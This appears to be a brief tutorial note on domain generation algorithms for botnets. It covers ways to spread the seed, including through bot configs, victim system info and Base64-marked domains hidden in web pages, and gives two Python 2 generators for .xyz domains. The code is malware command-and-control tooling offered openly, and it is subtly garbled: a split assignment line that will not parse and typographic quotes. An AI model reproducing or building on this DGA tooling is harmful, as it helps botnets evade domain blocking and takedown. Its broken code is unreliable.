Domain Generation Algorithm (DGA): Ways to Communicate

# Domain Generation Algorithm (DGA): Python Implementation 

Ways to disseminate the DGA seed:
(1) Spread inside the bot config (easy but insecure);
(2) Generate based on the GetSystemInfo & GetCurrentUser etc. (local environment) (more secure)
(3) Pull additional websites based off the seed websites’ HTML source code . Example,

ROEbG92ZXJhaW4ueHl6ROE

# ROE is a marker for Base64-encoded loverain.xyz

1.
# -*- coding: utf-8 -*- 
import hashlib
def md5_dga(seed): 
 var = hashlib.md5() # hash the seed using the entry algorithm 
 var.update(seed) name = 
 var.hexdigest() # cut all the strings after the 10th one 
 part = name[:10] 
 return “{}.xyz”.format(part) 

seed = “cm9jayduJ3JvbGw=” # ASCII: rock’n’roll 
for x in range(12): 
 seed = md5_dga(seed)
 print seed

# -*- coding: utf-8 -*- 
import hashlib
dga_dictionary = [‘btc’, ‘love’, ‘bit’,‘rain’,‘drop’] 
def dictionary_dga(seed): 
 ln = len(dga_dictionary) # check the maximum length of the DGA dictionary
 if ln * ln <= seed: 
  return False # choose 2 words 
 first = seed / ln
 last = seed % ln # create an address concatenating variable 1 + variable 2 
 addr = “{}{}.xyz”.format(dga_dictionary[first],dga_dictionary[last]) 
 return addr
for x in range(20): 
 print dictionary_dga(x)
